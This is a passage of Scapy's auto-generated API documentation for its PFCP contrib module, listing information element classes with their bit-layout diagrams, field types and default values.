|     METRIC    |
+-+-+-+-+-+-+-+-+

                          Fig. IE_Metric                          


IE_Metric fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	metric

	ByteField

	0











	
ie_type = 53

	








	
class scapy.contrib.pfcp.IE_MonitoringTime(_pkt, /, *, ietype=0, length=None, time_value=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L885-L891]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIME VALUE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_MonitoringTime                      


IE_MonitoringTime fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	time_value

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 33

	








	
class scapy.contrib.pfcp.IE_Multiplier(_pkt, /, *, ietype=0, length=None, digits=0, exponent=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1839-L1845]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DIGITS                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            EXPONENT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_Multiplier                        


IE_Multiplier fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	digits

	SignedLongField

	0



	exponent

	SignedIntField

	0











	
ie_type = 119

	








	
class scapy.contrib.pfcp.IE_NetworkInstance(_pkt, /, *, ietype=0, length=None, instance=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L754-L759]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            INSTANCE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_NetworkInstance                      


IE_NetworkInstance fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	instance

	APNStrLenField

	b''











	
ie_type = 22

	








	
class scapy.contrib.pfcp.IE_NodeId(_pkt, /, *, ietype=0, length=None, spare=0, id_type=0, ipv4=0, ipv6=0, id=b'', extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1183-L1197]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SPARE |ID TYPE|                      IPV4                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      IPV6                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |               ID              |   EXTRA DATA  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. IE_NodeId                          


IE_NodeId fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (4 bits)

	0



	id_type

	BitEnumField

	0



	ipv4

	IPField (Cond)

	0



	ipv6

	IP6Field (Cond)

	0



	id

	APNStrLenField (Cond)

	b''



	extra_data

	ExtraDataField

	b''











	
ie_type = 60

	








	
class scapy.contrib.pfcp.IE_NodeReportType(_pkt, /, *, ietype=0, length=None, spare=0, UPFR=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1650-L1657]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SPARE    |U|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_NodeReportType                      


IE_NodeReportType fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (7 bits)

	0



	UPFR

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 101

	








	
class scapy.contrib.pfcp.IE_NotImplemented(_pkt, /, *, ietype=0, length=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2266-L2271]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_NotImplemented                      


IE_NotImplemented fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	data

	StrLenField

	b''











	
ie_type = 0

	








	
class scapy.contrib.pfcp.IE_OCIFlags(_pkt, /, *, ietype=0, length=None, spare=None, AOCI=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1731-L1738]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SPARE    |A|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IE_OCIFlags                         


IE_OCIFlags fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (7 bits)

	None



	AOCI

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 110

	








	
class scapy.contrib.pfcp.IE_OffendingIE(_pkt, /, *, ietype=0, length=None, type=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L975-L980]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. IE_OffendingIE                        


IE_OffendingIE fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	type

	ShortEnumField

	None











	
ie_type = 40

	








	
class scapy.contrib.pfcp.IE_OuterHeaderCreation(_pkt, /, *, ietype=0, length=None, STAG=0, CTAG=0, IPV6=0, IPV4=0, UDPIPV6=0, UDPIPV4=0, GTPUUDPIPV6=0, GTPUUDPIPV4=0, spare=0, TEID=0, ipv4=0, ipv6=0, port=0, ctag=0, stag=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1464-L1492]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|S|C|I|I|U|U|G|G|     SPARE     |              TEID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              IPV4             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              IPV6             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              PORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              CTAG                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              STAG                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. IE_OuterHeaderCreation                    


IE_OuterHeaderCreation fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	STAG

	BitField  (1 bit)

	0



	CTAG

	BitField  (1 bit)

	0



	IPV6

	BitField  (1 bit)

	0



	IPV4

	BitField  (1 bit)

	0



	UDPIPV6

	BitField  (1 bit)

	0



	UDPIPV4

	BitField  (1 bit)

	0



	GTPUUDPIPV6

	BitField  (1 bit)

	0



	GTPUUDPIPV4

	BitField  (1 bit)

	0



	spare

	ByteField

	0



	TEID

	XIntField (Cond)

	0



	ipv4

	IPField (Cond)

	0



	ipv6

	IP6Field (Cond)

	0



	port

	ShortField (Cond)

	0



	ctag

	ThreeBytesField (Cond)

	0



	stag

	ThreeBytesField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 84

	








	
class scapy.contrib.pfcp.IE_OuterHeaderRemoval(_pkt, /, *, ietype=0, length=None, header=None, spare=None, pdu_session_container=None, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1583-L1593]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     HEADER    |    SPARE    |P|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_OuterHeaderRemoval                    


IE_OuterHeaderRemoval fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	header

	ByteEnumField

	None



	spare

	XBitField (Cond) (7 bits)

	None



	pdu_session_container

	BitField (Cond) (1 bit)

	None



	extra_data

	ExtraDataField

	b''











	
ie_type = 95

	








	
class scapy.contrib.pfcp.IE_OverloadControlInformation(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L601-L603]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. IE_OverloadControlInformation                


IE_OverloadControlInformation fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 54

	








	
class scapy.contrib.pfcp.IE_PDI(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L511-L513]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. IE_PDI                            


IE_PDI fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 2

	








	
class scapy.contrib.pfcp.IE_PDNType(_pkt, /, *, ietype=0, length=None, spare=0, pdn_type=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1761-L1768]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE  |PDN T|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IE_PDNType                          


IE_PDNType fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (5 bits)

	0



	pdn_type

	BitEnumField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 113

	








	
class scapy.contrib.pfcp.IE_PDR_Id(_pkt, /, *, ietype=0, length=None, id=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1158-L1164]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_PDR_Id                          


IE_PDR_Id fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	id

	ShortField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 56

	








	
class scapy.contrib.pfcp.IE_PFCPAssociationReleaseRequest(_pkt, /, *, ietype=0, length=None, spare=None, SARR=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1741-L1748]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SPARE    |S|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. IE_PFCPAssociationReleaseRequest               


IE_PFCPAssociationReleaseRequest fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (7 bits)

	None



	SARR

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 111

	








	
class scapy.contrib.pfcp.IE_PFCPSMReqFlags(_pkt, /, *, ietype=0, length=None, spare=None, QUARR=0, SNDEM=0, DROBU=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1110-L1119]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE  |Q|S|D|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_PFCPSMReqFlags                      


IE_PFCPSMReqFlags fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (5 bits)

	None



	QUARR

	BitField  (1 bit)

	0



	SNDEM

	BitField  (1 bit)

	0



	DROBU

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 49

	








	
class scapy.contrib.pfcp.IE_PFCPSRRspFlags(_pkt, /, *, ietype=0, length=None, spare=None, DROBU=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1122-L1129]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SPARE    |D|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_PFCPSRRspFlags                      


IE_PFCPSRRspFlags fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (7 bits)

	None



	DROBU

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 50

	








	
class scapy.contrib.pfcp.IE_PFDContents(_pkt, /, *, ietype=0, length=None, ADNP=0, AURL=0, AFD=0, DNP=0, CP=0, DN=0, URL=0, FD=0, spare_2=0, flow_length=None, flow=b'', url_length=None, url=b'', domain_length=None, domain=b'', custom_length=None, custom=b'', dnp_length=None, dnp=b'', additional_flow_length=None, additional_flow=b'', additional_url_length=None, additional_url=b'', additional_dn_dnp_length=None, additional_dn_dnp=b'', extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1200-L1265]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|A|A|A|D|C|D|U|F|    SPARE 2    |          FLOW LENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              FLOW             |           URL LENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              URL              |         DOMAIN LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             DOMAIN            |         CUSTOM LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CUSTOM            |           DNP LENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DNP              |     ADDITIONAL FLOW LENGTH    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ADDITIONAL FLOW        |     ADDITIONAL URL LENGTH     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         ADDITIONAL URL        |    ADDITIONAL DN DNP LENGTH   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ADDITIONAL DN DNP       |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. IE_PFDContents                        


IE_PFDContents fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	ADNP

	BitField  (1 bit)

	0



	AURL

	BitField  (1 bit)

	0



	AFD

	BitField  (1 bit)

	0



	DNP

	BitField  (1 bit)

	0



	CP

	BitField  (1 bit)

	0



	DN

	BitField  (1 bit)

	0



	URL

	BitField  (1 bit)

	0



	FD

	BitField  (1 bit)

	0



	spare_2

	ByteField

	0



	flow_length

	FieldLenField (Cond)

	None



	flow

	StrLenField (Cond)

	b''



	url_length

	FieldLenField (Cond)

	None



	url

	StrLenField (Cond)

	b''



	domain_length

	FieldLenField (Cond)

	None



	domain

	StrLenField (Cond)

	b''



	custom_length

	FieldLenField (Cond)

	None



	custom

	StrLenField (Cond)

	b''



	dnp_length

	FieldLenField (Cond)

	None



	dnp

	StrLenField (Cond)

	b''



	additional_flow_length

	FieldLenField (Cond)

	None



	additional_flow

	StrLenField (Cond)

	b''



	additional_url_length

	FieldLenField (Cond)

	None



	additional_url

	StrLenField (Cond)

	b''



	additional_dn_dnp_length

	FieldLenField (Cond)

	None



	additional_dn_dnp

	StrLenField (Cond)

	b''



	extra_data

	ExtraDataField

	b''











	
ie_type = 61

	








	
class scapy.contrib.pfcp.IE_PFDContext(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L611-L613]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_PFDContext                        


IE_PFDContext fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 59

	








	
class scapy.contrib.pfcp.IE_PacketRate(_pkt, /, *, ietype=0, length=None, spare_1=0, DLPR=0, ULPR=0, spare_2=0, ul_time_unit=0, ul_max_packet_rate=0, spare_3=0, dl_time_unit=0, dl_max_packet_rate=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1562-L1580]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE 1  |D|U| SPARE 2 |UL TI|       UL MAX PACKET RATE      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SPARE 3 |DL TI|       DL MAX PACKET RATE      |   EXTRA DATA  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. IE_PacketRate                        


IE_PacketRate fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare_1

	XBitField  (6 bits)

	0



	DLPR

	BitField  (1 bit)

	0



	ULPR

	BitField  (1 bit)

	0



	spare_2

	BitField (Cond) (5 bits)

	0



	ul_time_unit

	BitEnumField (Cond)

	0



	ul_max_packet_rate

	ShortField (Cond)

	0



	spare_3

	BitField (Cond) (5 bits)

	0



	dl_time_unit

	BitEnumField (Cond)

	0



	dl_max_packet_rate

	ShortField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 94

	








	
class scapy.contrib.pfcp.IE_PagingPolicyIndicator(_pkt, /, *, ietype=0, length=None, spare=0, ppi=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2229-L2236]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE  | PPI |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IE_PagingPolicyIndicator                   


